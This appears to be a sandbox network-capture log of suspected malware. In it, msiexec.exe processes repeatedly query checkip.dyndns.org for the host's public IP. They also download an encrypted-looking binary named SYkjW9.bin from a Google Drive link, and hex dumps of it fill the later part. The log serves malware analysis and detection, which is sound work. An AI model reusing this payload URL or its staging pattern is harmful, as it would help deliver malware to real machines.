Oct 22, 2024 16:12:11.756087065 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:12.685612917 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:12 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f2c0ae292c1a07e6bce36907425f86d2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50011	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:12.179974079 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:13.069917917 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:12 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9eaed1db9a340926f50184cf09f931b8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50014	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:13.458158016 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:14.301712990 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:14 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d823252e31585c91ee001752878411b9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50015	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:14.157345057 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:14.993833065 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:14 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 38ef3118ee9d6f5ee91d5d8d8fd32f81 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50018	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:15.115284920 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:15.965929985 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:15 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7b48254484918812e28a9d371cb006c1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50019	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:15.772387028 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:16.603888988 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:16 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 25bc62aeeff2d5c7e97c17d386c99ee8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50022	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:16.793247938 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:17.629726887 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:17 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5d1e89c9fa98e182fa247fe9dd081283 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49987	142.250.184.238	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:11:53 UTC	216	OUT	GET /uc?export=download&id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-22 14:11:53 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 22 Oct 2024 14:11:53 GMT Location: https://drive.usercontent.google.com/download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-CrCsR-vUT2oS4VqfoTCeyA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49986	142.250.184.238	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:11:53 UTC	216	OUT	GET /uc?export=download&id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-22 14:11:53 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 22 Oct 2024 14:11:53 GMT Location: https://drive.usercontent.google.com/download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-KombpatoenzcCRumVarSnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49988	142.250.185.65	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:11:54 UTC	258	OUT	GET /download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-22 14:11:57 UTC	4890	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="SYkjW9.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 279616 Last-Modified: Sun, 20 Oct 2024 23:54:48 GMT X-GUploader-UploadID: AHmUCY3SYVRJV4kqZLRBJAvuzolncxsl_zKDys3Mq66iRV-fuSV6Ryp1RT2v6qZC1iq1yZCsF5g4CS8B2Q Date: Tue, 22 Oct 2024 14:11:57 GMT Expires: Tue, 22 Oct 2024 14:11:57 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=epXt+A== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-22 14:11:57 UTC	4890	IN	Data Raw: f4 73 a0 cc 56 d5 cf a6 de f9 b6 f7 73 b6 43 50 ef 5d dc 77 ad cc 5b 22 0c 97 cb 3d b6 89 cb af 20 10 6b 95 ad f2 f7 7f 20 0b ce 30 2c 23 c7 ff 81 1e 42 97 5f 49 fd 6a 07 b6 2c e6 88 d1 0c 67 cc dc 40 c6 50 bc 6b 23 3f d5 14 32 fa 7b 05 57 b0 2c f8 52 03 01 54 6b b3 e9 d7 99 f2 d0 6d 39 71 f3 63 04 aa b2 07 9e 1f 59 17 9e 86 b9 f4 ee 97 f3 1f 9a ea bf b1 2b 0a 57 07 cb 63 72 02 42 77 08 cc 09 ec 81 e5 34 10 9e ea 77 22 83 df ea f6 d3 e8 06 14 b6 9e 46 b6 0d 8c 89 ab f9 ae 4f a7 40 1c 7a 15 d3 bc bd 68 ef 1d dc cf 82 b7 79 3e 95 71 d3 00 d6 e1 35 6d 29 bf 56 f7 35 2b d0 7e 8b 20 70 b8 2a 20 27 a9 f2 0f e1 f6 95 41 79 d9 29 11 9a a5 50 72 3e a2 da 0e e0 e0 e6 56 9d c0 8d e0 26 17 83 29 cc 2b 7b a1 28 aa 82 39 3b 03 c2 22 b0 dc c3 8e fa f3 9d 5a e0 7c 88 4c Data Ascii: sVsCP]w["= k 0,#B_Ij,g@Pk#?2{W,RTkm9qcY+WcrBw4w"FO@zhy>q5m)V5+~ p* 'Ay)Pr>V&)+{(9;"Z\|L
2024-10-22 14:11:57 UTC	4890	IN	Data Raw: 80 19 a0 83 8c 25 03 c7 5b ec d1 8b 98 39 8d 74 58 24 6c 1a 0d 90 6a b7 2d 42 19 2a 90 a3 83 f2 2b b0 64 b6 0c 66 1f 69 6c 99 05 ec a2 8a fd d6 89 1f 40 88 2d 9e 95 9c cf bc c2 40 86 81 b5 6f e4 90 fc d9 2d 5a d2 d5 45 b2 41 2e 42 37 d5 f2 b0 fc b9 a4 23 fc de a7 09 2b f2 7f 2d 15 3e 3c e7 bc 89 5a 6d 09 72 47 fb db a5 77 da 34 3e 91 28 c8 78 d4 43 24 ee 22 89 06 b3 f7 0d d5 ef c8 62 94 63 e1 b8 c4 8f c0 0c 50 63 3d 13 d3 bc 12 22 f4 f5 3f a8 fa 25 9a 32 4b e6 bd 0a cf c2 9d 0b 56 5d 8e 32 ba 09 09 91 91 bb 34 97 c5 2c 78 25 88 bd bc 79 85 ea 08 5c 7b 12 e0 71 f6 f6 3e 3b 92 99 79 e8 a7 44 63 75 2f 4f 06 3f 16 1c 38 60 af 79 c1 92 1e fd d9 bc 3f ae 1e a1 12 69 d1 e5 25 6e a4 4a 92 65 ac b1 5b 6d 9b 14 60 1e f6 00 cd 9d ea 5d 10 40 2e df 72 6d 3f 93 36 76 Data Ascii: %[9tX$lj-B*+dfil@-@o-ZEA.B7#+-><ZmrGw4>(xC$"bcPc="?%2KV]24,x%y\{q>;yDcu/O?8`y?i%nJe[m`]@.rm?6v
2024-10-22 14:11:57 UTC	29	IN	Data Raw: 4f f3 0e bb 02 e4 94 24 e6 ec 05 b7 fa 70 47 93 56 5f b6 e8 4e 5c 7f 5d c5 64 40 2f f6 Data Ascii: O$pGV_N\]d@/
2024-10-22 14:11:57 UTC	1322	IN	Data Raw: f8 62 99 7e d3 ad 1d e0 0b 05 a0 3a 00 83 01 7d d8 90 90 65 31 81 20 ed f7 de 77 80 ee ea 08 f4 c0 c7 3c 97 77 f9 c9 21 44 bf 3e 68 76 2a 0c 53 aa b0 96 00 53 53 a4 34 21 33 96 4e 3b bd 28 8e c8 d6 ee be 1e 09 19 2b d4 b2 d4 3d 87 4c 6c 36 7e 3e e1 a3 8c f4 27 e7 00 95 fd 19 e3 82 5d ba 5b 39 57 cd 78 0a 82 68 32 8f 97 5b 8b 7d 50 88 e3 e4 b4 4a 7b c4 61 e8 5b b4 43 8d 3d 16 86 fe 71 d4 55 7e 8b ee 6c 75 48 87 36 6d 96 7f 02 b1 5b ef 07 e1 b4 5b 5b f3 58 0f 6e 4b 6f 74 27 dd 71 b4 8f 70 42 07 bc 2c cb de 1a da 59 c4 bc b3 01 2c 02 0e c5 17 14 66 b2 ae 63 f5 67 7c cc 14 cf 91 db 54 49 45 5c 01 2c b4 e4 d7 83 5f ba f6 7d e5 f4 85 b3 77 e1 98 5a 09 e1 ce e6 26 db 40 a0 05 11 6c a7 ad 2f ea 76 c4 04 6b 5d 18 a2 c6 f9 6f 73 ca cd 7d 25 e2 d8 83 bc a5 eb e6 40 Data Ascii: b~:}e1 w<w!D>hv*SSS4!3N;(+=Ll6~>'][9Wxh2[}PJ{a[C=qU~luH6m[[[XnKot'qpB,Y,fcg\|TIE\,_}wZ&@l/vk]os}%@
2024-10-22 14:11:57 UTC	1378	IN	Data Raw: 68 fb f0 04 dd 82 20 8e 0a c9 b3 d5 2a 5d b0 72 cc e1 ce 00 2d 6c 2c 8e b8 8b 74 bc c2 3e 0d 90 44 b1 26 96 2c d1 a2 45 9c 98 6a b2 57 d2 e0 8f 47 6e 95 de e1 2e ed 57 60 27 5d 29 f4 13 3e eb 91 cb 1f e4 6e 1b 28 51 d3 57 6e fb 67 24 16 f7 e6 d3 c2 f9 30 62 07 1d a7 74 b3 cd e1 a7 a9 c8 14 50 11 f5 26 cc 02 e4 9e 5a d4 92 3a b3 88 23 54 b2 54 5b 8d 69 3e 22 6a 4b 3b 61 7b 60 e7 fe 51 4b 5e ad ed 63 cf 0f 2d 9a 48 31 87 01 d3 de 9d 39 51 31 8b 3c 00 d5 cd 58 f3 e9 d3 32 2b c0 c7 3c 83 f7 c8 f4 21 40 cb 1a aa 76 5a 10 53 ea b0 96 00 45 de 67 27 05 28 a1 6a 76 a8 db f4 c8 d6 eb e8 cb 7b 7d 2e bb 06 76 18 9a 64 c9 3e 11 f1 43 86 9e f8 64 e8 00 e1 30 fa fa fc 6f ba 4a 35 87 62 72 78 50 4f 86 ff 35 74 e2 a3 6a 88 93 c8 4d 6f 67 bc be 20 5b c4 eb a5 59 1e 9b 79 Data Ascii: h *]r-l,t>D&,EjWGn.W`'])>n(QWng$0btP&Z:#TT[i>"jK;a{`QK^c-H19Q1<X2+<!@vZSEg'(jv{}.vd>Cd0oJ5brxPO5tjMog [Yy
2024-10-22 14:11:57 UTC	1378	IN	Data Raw: 4b 0d c9 5c 7b 00 3f bd 0c da ae 6c 0e 32 79 69 ee 0f d6 ae a6 ee 31 40 34 73 76 26 1a 00 53 53 76 c5 e0 d3 a6 45 12 61 fe 9e c5 7d 19 b1 83 e0 c4 3e 84 2f b1 2b 89 38 3c a2 39 3d ac 40 22 2c 3d 72 03 2c 63 cf 20 79 89 43 03 cb 9d 48 ab 11 bd 99 d5 3b 51 6c 69 d0 93 7a 27 e6 1c 8e ac a2 47 74 b6 a7 62 1c 98 30 98 07 8d a5 ef 99 45 9d b9 0f 7c b3 c0 ea 90 28 4b 82 fc 55 3f e5 4c c4 6d 8b 5b 8a 16 3e 8a 35 81 c9 9a 56 11 28 7d 15 72 74 8f 5c f9 06 a2 6c cf b7 f9 3a 7b 1e 3f 99 3e c5 cd eb 73 a9 e8 14 5c 6f c0 0e bb 06 96 c3 58 d4 9c 13 9b 09 27 45 99 30 b7 9f 7a 45 4d 7e 72 f0 64 53 29 99 d5 5b 5a 78 fb 46 63 cf 01 16 a8 36 07 81 01 09 bc 9a 00 65 41 9d 1e 92 f6 cd 7a 87 17 d2 2b f8 d1 ca 05 5a 89 ff f4 37 6c cf 4d a8 7c 2a 26 7b 67 b0 96 22 24 20 66 3e 21 Data Ascii: K\{?l2yi1@4sv&SSvEa}>/+8<9=@",=r,c yCH;Qliz'Gtb0E\|(KU?Lm[>5V(}rt\l:{?>s\oX'E0zEM~rdS)[ZxFc6eAz+Z7lM\|*&{g"$ f>!
2024-10-22 14:11:57 UTC	1378	IN	Data Raw: 6c bd 8b 73 7c 4e c6 86 28 c5 23 c8 2c b4 c7 6a 45 d9 8f ee 30 df ed ec fb be 79 21 57 1b 1d e7 14 5b 44 3e 79 5b f1 b8 b3 b5 f8 95 3b 69 43 90 0a 64 82 53 dc 88 c1 19 93 0e a1 4a 37 57 cb 4d 9c 77 af fb a6 3b a7 4b 56 20 5c 7b 0c 43 03 1d dc cb cf 16 27 73 08 c1 3b 05 ae ac 9a 7a 3e 08 77 5e 68 69 c9 59 2d 63 d6 e8 a9 bf 0f 12 65 86 6b d3 69 7d 8f 11 61 c4 34 fa ba 4f 2a 9b 3d 2d a3 67 b1 ad 48 45 2c 4c 72 03 2c 63 c7 75 30 89 52 0f a3 b1 82 ab 15 c4 25 d5 2a 53 7d ea d0 93 74 0f 05 46 8e a6 c7 96 f9 f6 ad 62 0c b5 58 d0 0b 98 a1 e1 00 60 8a 95 c8 c0 b3 ca 42 da fd 39 fc f9 55 5e 4f 78 db 7c 7d 5b 8a 18 9c be 29 9c a4 95 56 6b 8a 70 6a 0c 68 89 5c 23 79 69 44 fb bd 5b 15 74 66 07 a5 5c b5 6f c9 d8 a9 e8 1e 33 4d f5 0e b1 0f ec 9d d4 bd 86 6a 0d 88 27 4f Data Ascii: ls\|N(#,jE0y!W[D>y[;iCdSJ7WMw;KV \{C's;z>w^hiY-ceki}a4O=-gHE,Lr,cu0R%S}tFbX`B9U^Ox\|}[)Vkpjh\#yiD[tf\o3Mj'O
2024-10-22 14:11:57 UTC	1378	IN	Data Raw: a4 44 13 eb 7b cb 14 f6 d4 c3 8c e1 34 96 48 3f d3 1d 7d 24 fc e7 76 f7 7c 1f 48 aa ca 22 67 d1 20 31 19 5a 65 79 a2 db d2 45 c1 37 12 5b 84 8b 8d d5 ec 21 31 89 9d ba a2 7c f2 5a f8 c1 a7 a6 53 08 ec fd 01 63 b6 39 bc dd b7 7c 4e c8 32 f3 de 5b 12 04 16 b0 42 05 a7 bc e8 92 fe 86 c5 bf be 09 33 dd bf 07 95 16 5f ba 4f d0 79 d3 87 3f f5 f8 81 ea 19 55 e2 81 5c af 23 7e a7 a4 73 37 0e d1 57 18 71 d3 3f 1f 47 b9 f5 40 1e be 67 ca 24 5c 71 a8 09 a0 6f b8 d3 bd 7e 90 5b 0d e9 60 0f 0c 8e 91 31 3e 02 60 68 50 a3 dc 53 23 02 c9 e8 ad 93 6d 5b 65 8c c3 b5 c5 7b a7 db 49 86 3e 8e 3f 5e 34 8b 25 05 ef 15 31 bb 48 e8 c2 f6 72 03 03 4b fb 0b 72 83 41 14 dd da e0 ab 11 bd 47 d5 2a 59 12 57 ae a7 7e 0f 29 6e d9 a4 cd fb 62 9e 2c 62 0d 9a 58 5c 06 9e 81 80 82 7c 4e bd Data Ascii: D{4H?}$v\|H"g 1ZeyE7[!1\|ZSc9\|N2[B3_Oy?U\#~s7Wq?G@g$\qo~[`1>`hPS#m[e{I>?^4%1HrKrAG*YW~)nb,bX\\|N
2024-10-22 14:11:57 UTC	1378	IN	Data Raw: 5c 32 e0 32 b3 6c a3 96 8e a1 b9 16 c9 2c 70 66 ea b4 d3 72 85 ed 05 33 c1 cc f3 5e d9 ad 59 3b 98 80 12 80 8f 26 69 79 25 e1 0c 39 16 16 2b 64 af 16 f7 9a 09 8a c1 eb 3d a4 7d b2 3a f9 d4 96 44 78 5a 41 92 66 ac b2 60 c8 f5 14 60 6a d9 de c3 99 89 6a 3e 48 4f cf 35 ed 3f 93 36 60 09 77 0c 4e 83 0f 1b 57 d0 20 31 0f 66 ed 7f 9f d1 d2 63 b2 fb 12 5b a6 d4 4c d5 e6 2b 2d 77 1f ba a2 77 c4 4b 9b 7b d2 9c 23 20 a9 8e c2 65 14 16 c4 67 f2 7c 44 cc 81 d1 a9 ec ce 15 1c be 57 45 a7 b8 81 f6 db 9f b1 f9 af 0e 45 f5 8a 1d 97 36 f9 ba 3f 78 2e 68 8c b2 c5 d0 da eb 3c 49 ff cc 4c af 59 dc 93 b4 46 0e 4e d1 5d bb 71 dd 3f b1 44 b9 f5 40 1e b0 67 ca 24 5c 71 a8 09 a2 6f a2 ce bd 7e 90 56 61 97 58 05 ae a2 46 14 24 7a 48 75 22 19 6b 76 48 02 f6 e8 ad 93 e7 37 79 fe f1 Data Ascii: \22l,pfr3^Y;&iy%9+d=}:DxZAf``jj>HO5?6`wNW 1fc[L+-wwK{# eg\|DWEE6?x.h<ILYFN]q?D@g$\qo~VaXF$zHu"kvH7y
